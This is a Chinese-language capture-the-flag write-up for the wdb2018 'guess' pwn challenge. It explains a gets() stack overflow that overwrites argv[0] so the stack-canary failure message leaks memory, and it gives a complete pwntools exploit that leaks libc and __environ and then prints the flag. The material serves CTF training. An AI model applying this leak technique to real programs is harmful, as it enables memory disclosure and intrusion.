wdb2018_guess(stack smash,__environ获取栈变量)
checksec:
开启了Canary
main:
__int64 __fastcall main(__int64 a1, char **a2, char **a3) { __WAIT_STATUS stat_loc; // [rsp+14h] [rbp-8Ch] int v5; // [rsp+1Ch] [rbp-84h] __int64 v6; // [rsp+20h] [rbp-80h] __int64 v7; // [rsp+28h] [rbp-78h] char buf; // [rsp+30h] [rbp-70h] char s2; // [rsp+60h] [rbp-40h] unsigned __int64 v10; // [rsp+98h] [rbp-8h] v10 = __readfsqword(0x28u); v7 = 3LL; LODWORD(stat_loc.__uptr) = 0; v6 = 0LL; sub_4009A6(); HIDWORD(stat_loc.__iptr) = open("./flag.txt", 0, a2); if ( HIDWORD(stat_loc.__iptr) == -1 ) { perror("./flag.txt"); _exit(-1); } read(SHIDWORD(stat_loc.__iptr), &buf, 0x30uLL); close(SHIDWORD(stat_loc.__iptr)); puts("This is GUESS FLAG CHALLENGE!"); while ( 1 ) { if ( v6 >= v7 ) { puts("you have no sense... bye :-) "); return 0LL; } v5 = sub_400A11(); if ( !v5 ) break; ++v6; wait((__WAIT_STATUS)&stat_loc); } puts("Please type your guessing flag"); gets(&s2); if ( !strcmp(&buf, &s2) ) puts("You must have great six sense!!!! :-o "); else puts("You should take more effort to get six sence, and one more challenge!!"); return 0LL; }
sub_400A11:
__int64 sub_400A11() { unsigned int v1; // [rsp+Ch] [rbp-4h] v1 = fork(); if ( v1 == -1 ) err(1, "can not fork"); return v1; }
很明显,gets存在栈溢出。flag一开始就被写进栈中。我们需要利用canary报错的信息泄露flag。
canary检测到栈溢出后的报错信息打印出了程序名,实际上这个文件名是由argv[0]指向的。只要通过栈溢出用自己构造的
字符串地址覆盖掉argv[0]就能打印相应的字符串。
关于_environ:https://blog.csdn.net/chennbnbnb/article/details/104035261
我们还不知道偏移是多少,需要通过_environ找到偏移。获取_environ的地址需要先泄露出libc。
所以总计要三次溢出。程序刚好fork了三次。
计算出输入参数的地址到argv[0]的偏移为0x128
第一次溢出获取puts地址:
payload='a'*0x128+p64(puts_got) a.sendline(payload) puts_addr=u64(a.recvuntil('\x7f')[-6:].ljust(8,'\x00')) print hex(puts_addr) libc_base=puts_addr-libc.sym['puts'] environ=libc_base+libc.sym['__environ']
第二次溢出泄露_environ地址:
payload='a'*0x128+p64(environ) a.sendline(payload) environ_addr=u64(a.recvuntil('\x7f')[-6:].ljust(8,'\x00')) print hex(environ_addr)
本地调试(sad是我本地flag.txt的内容),算出flag和environ的偏移为0x168
第三次溢出打印flag:
payload='a'*0x128+p64(environ_addr-0x168) a.sendline(payload) #gdb.attach(a) a.interactive()
exp:
#!/usr/bin/python #coding:utf-8 from pwn import * from struct import pack a=remote("node3.buuoj.cn",25266) #a=process("/root/guess",env = {"LD_PRELOAD": "./libc.so.6"}) libc=ELF("/root/libc-2.23.so") elf=ELF("/root/guess") #puts_plt=elf.plt['puts'] puts_got=elf.got['puts'] #context(os='linux',log_level='debug') payload='a'*0x128+p64(puts_got) a.sendline(payload) puts_addr=u64(a.recvuntil('\x7f')[-6:].ljust(8,'\x00')) print hex(puts_addr) libc_base=puts_addr-libc.sym['puts'] environ=libc_base+libc.sym['__environ'] payload='a'*0x128+p64(environ) a.sendline(payload) environ_addr=u64(a.recvuntil('\x7f')[-6:].ljust(8,'\x00')) print hex(environ_addr) payload='a'*0x128+p64(environ_addr-0x168) a.sendline(payload) #gdb.attach(a) a.interactive()
成功getflag: